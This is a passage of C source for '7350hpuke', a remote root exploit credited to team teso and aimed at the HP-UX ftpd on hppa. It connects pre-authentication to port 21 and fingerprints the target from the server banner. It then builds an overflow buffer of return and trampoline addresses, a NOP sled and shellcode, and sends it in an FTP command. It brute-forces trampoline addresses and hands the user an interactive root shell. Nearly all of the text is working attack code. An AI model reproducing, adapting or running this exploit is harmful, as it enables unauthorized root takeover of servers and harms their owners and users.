287main (int argc, char *argv[])
288{
289 char c;
290 char * progname; /* = argv[0] */
291 int fd;
292
293 tgt_type * tgt = NULL;
294 mtgt_type * mtgt = NULL;
295 int tgt_num = -1,
296 mtgt_num = -1;
297 int tgt_count;
298 unsigned long int taddr; /* brute force trampo addr */
299 int tr_w; /* trampoline walker */
300
301
302 fprintf (stderr, "7350hpuke - hppa/hpux ftpd remote root "
303 "(version "VERSION")\n"
304 "team teso.\n\n");
305
306 progname = argv[0];
307 if (argc < 2)
308 usage (progname);
309
310
311 while ((c = getopt (argc, argv, "hvDl:am:t:L:d:")) != EOF) {
312 switch (c) {
313 case 'h':
314 usage (progname);
315 break;
316 case 'D':
317 debugmode = 1;
318 break;
319 case 'v':
320 verbose += 1;
321 break;
322 case 'l':
323 if (sscanf (optarg, "%u", &resolv_len) != 1)
324 usage (progname);
325 break;
326 case 'a':
327 autolength = 1;
328 break;
329 case 'm':
330 if (sscanf (optarg, "%u", &mtgt_num) != 1)
331 usage (progname);
332 break;
333 case 't':
334 if (sscanf (optarg, "%u", &tgt_num) != 1)
335 usage (progname);
336 break;
337 case 'L':
338 if (sscanf (optarg, "0x%lx", &trampo_manual) != 1)
339 usage (progname);
340 break;
341 case 'd':
342 dest = optarg;
343 break;
344 default:
345 usage (progname);
346 break;
347 }
348 }
349
350 if (mtgt_num == 0 ||
351 mtgt_num >= (sizeof (mtargets) / sizeof (mtgt_type)))
352 {
353 if (mtgt_num != 0)
354 printf ("WARNING: meta-target out of list. list:\n\n");
355
356 mtgt_list (mtargets);
357
358 exit (EXIT_SUCCESS);
359 }
360 mtgt = &mtargets[mtgt_num - 1];
361 printf ("# meta-target: %s\n", mtgt->desc);
362
363 /* count real targets available in target list, then check if a proper
364 * one is given or nothing is given. abort in invalid cases.
365 */
366 for (tgt_count = 0 ; mtgt->tgt[tgt_count].desc != NULL ; ++tgt_count)
367 ;
368
369 if (tgt_num == 0 || tgt_num >= tgt_count) {
370 if (tgt_num != 0)
371 printf ("WARNING: target out of list. list:\n\n");
372
373 tgt_list (mtgt->tgt);
374
375 exit (EXIT_SUCCESS);
376
377 } else if (tgt_num != -1) {
378 tgt = &mtgt->tgt[tgt_num - 1];
379 }
380
381
382 /* sanity checking on resolv length parameter
383 */
384
385 if (autolength == 0 && resolv_len == -1) {
386 fprintf (stderr, "# resolv length not given, trying auto\n");
387 autolength = 1;
388 } else if (autolength == 0 && resolv_len > 17) {
389 fprintf (stderr, "resolv length too large, this exploitation "
390 "method only supports\nlength below or equal to 17 "
391 "chars\n");
392 exit (EXIT_FAILURE);
393 }
394
395 /* now tgt is either NULL (we should get the target automatically),
396 * or points to a proper subtarget structure
397 */
398
399
400 printf ("# trying to connect to %s ...", dest);
401 fflush (stdout);
402
403 fd = ftp_login (dest);
404 if (fd <= 0) {
405 fprintf (stderr, "\n### failed to connect\n");
406 exit (EXIT_FAILURE);
407 }
408 printf (" connected.\n");
409
410
411 printf ("# banner: %s", (ftp_banner == NULL) ? "???" :
412 ftp_banner);
413
414 if (tgt == NULL) {
415 tgt = tgt_frombanner (mtgt->tgt, ftp_banner);
416
417 if (tgt == NULL) {
418 fprintf (stderr, "failed to yield target from banner\n");
419
420 exit (EXIT_FAILURE);
421 }
422 printf ("# -> target: %s\n", tgt->desc);
423 } else {
424 printf ("# TARGET: %s\n\n", tgt->desc);
425 }
426
427 if (shellcode == NULL) {
428 shellcode = tgt->shellcode;
429 shellcode_len = tgt->shellcode_len;
430 }
431
432
433 if (verbose >= 2) {
434 printf ("using %lu byte shellcode:\n", shellcode_len);
435
436 hexdump ("shellcode", shellcode, shellcode_len);
437 }
438
439 if (debugmode) {
440 printf ("### DEBUG: press enter\n");
441 getchar ();
442 }
443
444 /* first try the known trampoline addresses
445 */
446 printf ("# testing known patchsets\n\n");
447 for (tr_w = 0 ; mtgt->tgt_trampo[tr_w].patchset != NULL ; ++tr_w) {
448
449 /* if the address was tested already, skip it
450 */
451 if (taddr_tested (mtgt->tgt_trampo, tr_w,
452 mtgt->tgt_trampo[tr_w].addr) == 0)
453 {
454 printf ("%s ", mtgt->tgt_trampo[tr_w].patchset);
455
456 fd = exploit_try (tgt, mtgt->tgt_trampo[tr_w].addr, fd);
457 if (fd != 0)
458 goto yeah;
459 }
460
461 /* fd is zero now, so exploit_try will build a new connection
462 */
463 }
464
465 printf ("\n# known trampolines failed, doing smart force\n\n");
466
467 for (taddr = mtgt->trampo_low ; taddr <= mtgt->trampo_high ;
468 taddr += 0x00000008)
469 {
470 /* the stubs are aligned on [08]$ addresses, but we test
471 * [4c]$, since they are prepended with a nop. so for the
472 * test, we have to add four to the brute address
473 */
474 if (taddr_tested (mtgt->tgt_trampo, tr_w, taddr + 4) == 0) {
475 printf ("BRUTE (%%%3ld) ",
476 ((taddr - mtgt->trampo_low) * 100) /
477 (mtgt->trampo_high - mtgt->trampo_low));
478
479 fd = exploit_try (tgt, taddr, fd);
480 if (fd != 0) {
481 printf ("fyi, trampoline address was at: "
482 "0x%08lx\n", taddr + 4);
483
484 goto yeah;
485 }
486 }
487 }
488
489 printf ("\n# brute force failed, giving up... "
490 "sorry, was a nice time.\n");
491
492 exit (EXIT_FAILURE);
493
494yeah:
495 printf ("# spawning shell\n");
496 printf ("##################################################"
497 "##########################\n");
498
499 write (fd, INIT_CMD, strlen (INIT_CMD));
500 shell (fd);
501
502 exit (EXIT_SUCCESS);
503}
504
505
506/* exploit_try
507 *
508 * try one single exploit attempt with the given attack vectors `tgt' and
509 * `tramp'. destination address in global `dest'. if `connected' is non-zero,
510 * it is used as filedescriptor and the ftp connection on this fd is assumed
511 * as already established.
512 *
513 * return 0 on failure
514 * return fd on success with shell spawned already
515 */
516
517int
518exploit_try (tgt_type *tgt, unsigned long int taddr, int connected)
519{
520 int n,
521 fd;
522 unsigned char rbuf[256];
523 unsigned char rcvbuf[2048];
524
525
526 printf ("[t: 0x%08lx c: 0x%08lx] ", taddr, tgt->codeaddr);
527
528 printf ("c");
529 fflush (stdout);
530
531 if (connected == 0) {
532 fd = ftp_login (dest);
533 if (fd <= 0) {
534 fprintf (stderr, "\n### failed to connect to %s\n", dest);
535
536 exit (EXIT_FAILURE);
537 }
538 } else
539 fd = connected;
540
541 printf ("\bC");
542 fflush (stdout);
543
544 /* if required, get local fqhn by itself
545 */
546 if (autolength == 1) {
547 struct sockaddr_in localaddr;
548 struct hostent * hep, he;
549 socklen_t size = sizeof (struct sockaddr_in);
550 int n, h_errno;
551 unsigned char h_buf[8192];
552
553 printf ("r");
554 fflush (stdout);
555
556 if (getsockname (fd, (struct sockaddr *) &localaddr, &size) == -1) {
557 fprintf (stderr, "### failed to get local fqhn\n");
558 exit (EXIT_FAILURE);
559 }
560
561 n = gethostbyaddr_r ((char *) &localaddr.sin_addr,
562 sizeof (struct in_addr), AF_INET, &he, h_buf,
563 sizeof (h_buf), &hep, &h_errno);
564
565 if (hep == NULL) {
566 unsigned char * ipp =
567 (unsigned char *) &localaddr.sin_addr.s_addr;
568 unsigned char dbuf[64];
569
570 if (verbose)
571 fprintf (stderr, "missed name, going for ip\n");
572
573 snprintf (dbuf, sizeof (dbuf), "%d.%d.%d.%d",
574 ipp[0], ipp[1], ipp[2], ipp[3]);
575 dbuf[sizeof (dbuf) - 1] = '\0';
576
577 if (verbose)
578 printf ("# local host: %s\n", dbuf);
579
580 resolv_len = strlen (dbuf);
581 } else {
582 if (verbose) {
583 printf (" fqhn\n");
584 printf ("# local host: %s\n", he.h_name);
585 }
586 resolv_len = strlen (he.h_name);
587 }
588 printf ("\bR");
589 fflush (stdout);
590 }
591
592 if (resolv_len > 17) {
593 fprintf (stderr, "local host resolves to a too-long hostname, "
594 "has to be shorter-equal to 17 chars\n");
595 exit (EXIT_FAILURE);
596 }
597
598 if (verbose)
599 printf ("# resolv_len = %d\n", resolv_len);
600
601 /* time to attach the debugger
602 */
603 if (debugmode) {
604 printf ("d");
605 fflush (stdout);
606 getchar (); /* will clobber output, doh! */
607
608 printf ("\bD");
609 fflush (stdout);
610 }
611
612 if (verbose) {
613 printf ("# banner: %s", (ftp_banner == NULL) ? "???" :
614 ftp_banner);
615 }
616
617 if (shellcode == NULL) {
618 shellcode = tgt->shellcode;
619 shellcode_len = tgt->shellcode_len;
620 }
621
622 if (verbose >= 2) {
623 printf ("using %lu byte shellcode:\n", shellcode_len);
624
625 hexdump ("shellcode", shellcode, shellcode_len);
626
627 printf ("\n### TARGET: %s\n\n", tgt->desc);
628 }
629
630 /* real stuff starts from here
631 */
632 printf ("p");
633 fflush (stdout);
634 net_write (fd, "SITE 73507350735073507350735073507350"
635 "735073507350735073507350\n");
636 ftp_recv_until (fd, rcvbuf, sizeof (rcvbuf), "500 ");
637 printf ("\bP");
638 fflush (stdout);
639
640 printf ("x");
641 fflush (stdout);
642 exploit (fd, tgt, taddr);
643 printf ("\bX");
644 fflush (stdout);
645
646 write (fd, AUTO_CMD, strlen (AUTO_CMD));
647
648 n = net_rlinet (fd, rbuf, sizeof (rbuf), 10);
649 if (n > 0 && binstrstr (rbuf, n, "sPsP") != NULL) {
650 printf (": SUCCESS\n");
651
652 return (fd);
653 }
654
655 /* failure, close down socket and move ahead
656 */
657 printf (": FAILURE\n");
658 close (fd);
659
660 return (0);
661}
662
663
664void
665exploit (int fd, tgt_type *tgt, unsigned long int trampo)
666{
667 int n,
668 padnop,
669 pad;
670 unsigned char * xpw;
671 unsigned char xpbuf[1024 + 256]; /* + NETSLOP ;-) */
672
673
674 memset (xpbuf, '\0', sizeof (xpbuf));
675
676 pad = 17 - resolv_len;
677 for (xpw = xpbuf, n = 0 ; pad > 0 ; --pad)
678 *xpw++ = "7350"[n++ % 4];
679
680 /* now the second return address (at %sp - 0x18) for thunking
681 */
682 *xpw++ = (tgt->codeaddr & 0xff000000) >> 24;
683 *xpw++ = (tgt->codeaddr & 0x00ff0000) >> 16;
684 *xpw++ = (tgt->codeaddr & 0x0000ff00) >> 8;
685 *xpw++ = (tgt->codeaddr & 0x000000ff);
686
687 /* directly after it, *tada*, the first return address to the space
688 * redirection stub
689 */
690 *xpw++ = (trampo & 0xff000000) >> 24;
691 *xpw++ = (trampo & 0x00ff0000) >> 16;
692 *xpw++ = (trampo & 0x0000ff00) >> 8;
693 *xpw++ = (trampo & 0x000000ff);
694
695 strcat (xpbuf, "A"); /* padding */
696
697 /* nopspace + shellcode
698 */
699 padnop = 990 + tgt->cpad - resolv_len - strlen (xpbuf);
700 padnop &= ~0x3; /* pad down to 4 byte boundary */
701
702 for (n = 0, xpw = xpbuf + strlen (xpbuf) ;
703 n < padnop ; ++n)
704 {
705 *xpw++ = hppa_nop[n % 4];
706 }
707 if (verbose)
708 printf ("n = %d, n %% 4 = %d\n", n, n % 4);
709
710 memcpy (xpw - tgt->shellcode_len - 8, tgt->shellcode, tgt->shellcode_len);
711 xpw += strlen (xpw);
712 if (verbose)
713 printf ("strlen (xpbuf) = %d\n", strlen (xpbuf));
714
715 *xpw++ = '\n';
716
717 ftp_escape (xpbuf, sizeof (xpbuf));
718 net_write (fd, "%s", xpbuf);
719
720 return;
721}
722
723
724tgt_type *
725tgt_frombanner (tgt_type *tgtl, unsigned char *banner)
726{
727 int tw; /* target list walker */
728
729
730 for (tw = 0 ; tgtl[tw].desc != NULL ; ++tw) {
731 if (strstr (banner, tgtl[tw].banner) != NULL)
732 return (&tgtl[tw]);
733 }
734
735 return (NULL);
736}
737
738
739/* taddr_tested
740 *
741 * return 1 if `taddr' was already tested within the first `num'
742 * table entries of `tramps'.
743 * return 0 if it was not tested yet
744 */
745
746int
747taddr_tested (trampo_type *tramps, int num, unsigned long int taddr)
748{
749 int n;
750
751 for (n = 0 ; n < num && tramps[n].patchset != NULL; ++n) {
752 if (tramps[n].addr == taddr)
753 return (1);
754 }
755
756 return (0);
757}
758
759
760void
761mtgt_list (mtgt_type *mtgt)
762{
763 int mtgt_num;
764
765
766 printf ("num . description\n");
767 printf ("----+-----------------------------------------------"
768 "--------\n");
769
770 for (mtgt_num = 0 ; mtgt[mtgt_num].desc != NULL ; ++mtgt_num) {
771 printf ("%3d | %s\n", mtgt_num + 1, mtgt[mtgt_num].desc);
772 }
773 printf (" '\n");
774}
775
776
777/* tgt_list
778 *
779 * give target list
780 */
781
782void
783tgt_list (tgt_type *tgt)
784{
785 int tgt_num;
786
787
788 printf ("num . description\n");
789 printf ("----+-----------------------------------------------"
790 "--------\n");
791
792 for (tgt_num = 0 ; tgt[tgt_num].desc != NULL ; ++tgt_num) {
793 printf ("%3d | %s\n", tgt_num + 1, tgt[tgt_num].desc);
794
795 if (verbose)
796 printf (" : %s\n", tgt[tgt_num].banner);
797 if (verbose >= 2)
798 printf (" : codeaddr: 0x%08lx\n",
799 tgt[tgt_num].codeaddr);
800 }
801 printf (" '\n");
802
803 return;
804}
805
806
807void
808shell (int sock)
809{
810 int l;
811 char buf[512];
812 fd_set rfds;
813
814
815 while (1) {
816 FD_SET (0, &rfds);
817 FD_SET (sock, &rfds);
818
819 select (sock + 1, &rfds, NULL, NULL, NULL);
820 if (FD_ISSET (0, &rfds)) {
821 l = read (0, buf, sizeof (buf));
822 if (l <= 0) {
823 perror ("read user");
824 exit (EXIT_FAILURE);
825 }
826 write (sock, buf, l);
827 }
828
829 if (FD_ISSET (sock, &rfds)) {
830 l = read (sock, buf, sizeof (buf));
831 if (l == 0) {
832 printf ("connection closed by foreign host.\n");
833 exit (EXIT_FAILURE);
834 } else if (l < 0) {
835 perror ("read remote");
836 exit (EXIT_FAILURE);
837 }
838 write (1, buf, l);
839 }
840 }
841}
842
843
844/*** FTP functions
845 */
846
847/* FTP is TELNET is SHIT.
848 */
849
850void
851ftp_escape (unsigned char *buf, unsigned long int buflen)
852{
853 unsigned char * obuf = buf;
854
855
856 for ( ; *buf != '\0' ; ++buf) {
857 if (*buf == 0xff &&
858 (((buf - obuf) + strlen (buf) + 1) < buflen))
859 {
860 memmove (buf + 1, buf, strlen (buf) + 1);
861 buf += 1;
862 }
863 }
864}
865
866
867void
868ftp_recv_until (int sock, char *buff, int len, char *begin)
869{
870 char dbuff[2048];
871
872
873 if (buff == NULL) {
874 buff = dbuff;
875 len = sizeof (dbuff);
876 }
877
878 do {
879 memset (buff, '\x00', len);
880 if (net_rlinet (sock, buff, len - 1, 20) <= 0)
881 return;
882 } while (memcmp (buff, begin, strlen (begin)) != 0);
883
884 return;
885}
886
887
888int
889ftp_login (char *host)
890{
891 int ftpsock;
892 char resp[512];
893
894
895 ftpsock = net_connect (NULL, host, 21, 30);
896 if (ftpsock <= 0)
897 return (0);
898
899 memset (resp, '\x00', sizeof (resp));
900 if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0)
901 goto flerr;
902
903 /* handle multiline pre-login stuff (rfc violation !)
904 */
905 if (memcmp (resp, "220-", 4) == 0)
906 ftp_recv_until (ftpsock, resp, sizeof (resp), "220 ");
907
908 if (memcmp (resp, "220 ", 4) != 0) {
909 if (verbose)
910 printf ("\n%s\n", resp);
911 goto flerr;
912 }
913 if (ftp_banner != NULL)
914 free (ftp_banner);
915
916 ftp_banner = strdup (resp);
917
918 /* do not login really, this is 100% pre-auth
919 */
920 return (ftpsock);
921
922flerr:
923 if (ftpsock > 0)
924 close (ftpsock);
925
926 return (0);
927}
928
929
930/* ripped from zodiac */
931void
932hexdump (char *desc, unsigned char *data, unsigned int amount)
933{
934 unsigned int dp, p; /* data pointer */
935 const char trans[] =
936 "................................ !\"#$%&'()*+,-./0123456789"
937 ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
938 "nopqrstuvwxyz{|}~...................................."
939 "....................................................."
940 "........................................";
941
942
943 printf ("/* %s, %u bytes */\n", desc, amount);
944
945 for (dp = 1; dp <= amount; dp++) {
946 fprintf (stderr, "%02x ", data[dp-1]);
947 if ((dp % 8) == 0)
948 fprintf (stderr, " ");
949 if ((dp % 16) == 0) {
950 fprintf (stderr, "| ");
951 p = dp;
952 for (dp -= 16; dp < p; dp++)
953 fprintf (stderr, "%c", trans[data[dp]]);
954 fflush (stderr);
955 fprintf (stderr, "\n");
956 }
957 fflush (stderr);
958 }
959 if ((amount % 16) != 0) {
960 p = dp = 16 - (amount % 16);
961 for (dp = p; dp > 0; dp--) {
962 fprintf (stderr, " ");
963 if (((dp % 8) == 0) && (p != 8))
964 fprintf (stderr, " ");
965 fflush (stderr);
966 }
967 fprintf (stderr, " | ");
968 for (dp = (amount - (16 - p)); dp < amount; dp++)
969 fprintf (stderr, "%c", trans[data[dp]]);
970 fflush (stderr);
971 }
972 fprintf (stderr, "\n");
973
974 return;
975}
976
977
978unsigned char *
979binstrstr (unsigned char *binary, unsigned int bin_len, unsigned char *str)
980{
981 if (bin_len < strlen (str))
982 return (NULL);
983
984 while (binary <= (binary + bin_len - strlen (str))) {
985 if (memcmp (binary, str, strlen (str)) == 0)
986 return (binary);
987
988 binary += 1;
989 bin_len -= 1;
990 }
991
992 return (NULL);
993}
994
995
996unsigned long int
997net_resolve (char *host)
998{
999 long i;
1000 struct hostent *he;
1001
1002 i = inet_addr(host);
1003 if (i == -1) {
1004 he = gethostbyname(host);
1005 if (he == NULL) {
1006 return (0);
1007 } else {
1008 return (*(unsigned long *) he->h_addr);
1009 }
1010 }
1011 return (i);
1012}
1013
1014
1015int
1016net_connect (struct sockaddr_in *cs, char *server,
1017 unsigned short int port, int sec)
1018{
1019 int n,
1020 len,
1021 error,
1022 flags;
1023 int fd;
1024 struct timeval tv;
1025 fd_set rset, wset;
1026 struct sockaddr_in csa;
1027
1028 if (cs == NULL)
1029 cs = &csa;
1030
1031 /* first allocate a socket */
1032 cs->sin_family = AF_INET;
1033 cs->sin_port = htons (port);
1034 fd = socket (cs->sin_family, SOCK_STREAM, 0);
1035 if (fd == -1)
1036 return (-1);
1037
1038 if (!(cs->sin_addr.s_addr = net_resolve (server))) {
1039 close (fd);
1040 return (-1);
1041 }
1042
1043 flags = fcntl (fd, F_GETFL, 0);
1044 if (flags == -1) {
1045 close (fd);
1046 return (-1);
1047 }
1048 n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
1049 if (n == -1) {
1050 close (fd);
1051 return (-1);
1052 }
1053
1054 error = 0;
1055
1056 n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
1057 if (n < 0) {
1058 if (errno != EINPROGRESS) {
1059 close (fd);
1060 return (-1);
1061 }
1062 }
1063 if (n == 0)
1064 goto done;
1065
1066 FD_ZERO(&rset);
1067 FD_ZERO(&wset);
1068 FD_SET(fd, &rset);
1069 FD_SET(fd, &wset);
1070 tv.tv_sec = sec;
1071 tv.tv_usec = 0;
1072
1073 n = select(fd + 1, &rset, &wset, NULL, &tv);
1074 if (n == 0) {
1075 close(fd);
1076 errno = ETIMEDOUT;
1077 return (-1);
1078 }
1079 if (n == -1)
1080 return (-1);
1081
1082 if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
1083 if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
1084 len = sizeof(error);
1085 if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
1086 errno = ETIMEDOUT;
1087 return (-1);
1088 }
1089 if (error == 0) {
1090 goto done;
1091 } else {
1092 errno = error;
1093 return (-1);
1094 }
1095 }
1096 } else
1097 return (-1);
1098
1099done:
1100 n = fcntl(fd, F_SETFL, flags);
1101 if (n == -1)
1102 return (-1);
1103 return (fd);
1104}
1105
1106
1107void
1108net_write (int fd, const char *str, ...)
1109{
1110 char tmp[1025];
1111 va_list vl;
1112 int i;
1113
1114 va_start(vl, str);
1115 memset(tmp, 0, sizeof(tmp));
1116 i = vsnprintf(tmp, sizeof(tmp), str, vl);
1117 va_end(vl);
1118
1119#ifdef DEBUG
1120 printf ("[snd] %s%s", tmp, (tmp[strlen (tmp) - 1] == '\n') ? "" : "\n");
1121#endif
1122
1123 send(fd, tmp, i, 0);
1124 return;
1125}
1126
1127
1128int
1129net_rlinet (int fd, char *buf, int bufsize, int sec)
1130{
1131 int n;
1132 unsigned long int rb = 0;
1133 struct timeval tv_start, tv_cur;
1134
1135 memset(buf, '\0', bufsize);
1136 (void) gettimeofday(&tv_start, NULL);
1137
1138 do {
1139 (void) gettimeofday(&tv_cur, NULL);
1140 if (sec > 0) {
1141 if ((((tv_cur.tv_sec * 1000000) + (tv_cur.tv_usec)) -
1142 ((tv_start.tv_sec * 1000000) +
1143 (tv_start.tv_usec))) > (sec * 1000000))
1144 {
1145 return (-1);
1146 }
1147 }
1148 n = net_rtimeout(fd, NET_READTIMEOUT);
1149 if (n <= 0) {
1150 return (-1);
1151 }
1152 n = read(fd, buf, 1);
1153 if (n <= 0) {
1154 return (n);
1155 }
1156 rb++;
1157 if (*buf == '\n')
1158 return (rb);
1159 buf++;
1160 if (rb >= bufsize)
1161 return (-2); /* buffer full */
1162 } while (1);
1163}
1164
1165
1166int
1167net_rtimeout (int fd, int sec)
1168{
1169 fd_set rset;
1170 struct timeval tv;
1171 int n, error, flags;
1172
1173
1174 error = 0;
1175 flags = fcntl(fd, F_GETFL, 0);
1176 n = fcntl(fd, F_SETFL, flags | O_NONBLOCK);
1177 if (n == -1)
1178 return (-1);
1179
1180 FD_ZERO(&rset);
1181 FD_SET(fd, &rset);
1182 tv.tv_sec = sec;
1183 tv.tv_usec = 0;
1184
1185 /* now we wait until more data is received then the tcp low level
1186 * watermark, which should be setted to 1 in this case (1 is default)
1187 */
1188 n = select(fd + 1, &rset, NULL, NULL, &tv);
1189 if (n == 0) {
1190 n = fcntl(fd, F_SETFL, flags);
1191 if (n == -1)
1192 return (-1);
1193 errno = ETIMEDOUT;
1194 return (-1);
1195 }
1196 if (n == -1) {
1197 return (-1);
1198 }
1199 /* socket readable ? */
1200 if (FD_ISSET(fd, &rset)) {
1201 n = fcntl(fd, F_SETFL, flags);
1202 if (n == -1)
1203 return (-1);
1204 return (1);
1205 } else {
1206 n = fcntl(fd, F_SETFL, flags);
1207 if (n == -1)
1208 return (-1);
1209 errno = ETIMEDOUT;
1210 return (-1);
1211 }
1212}
1213
1214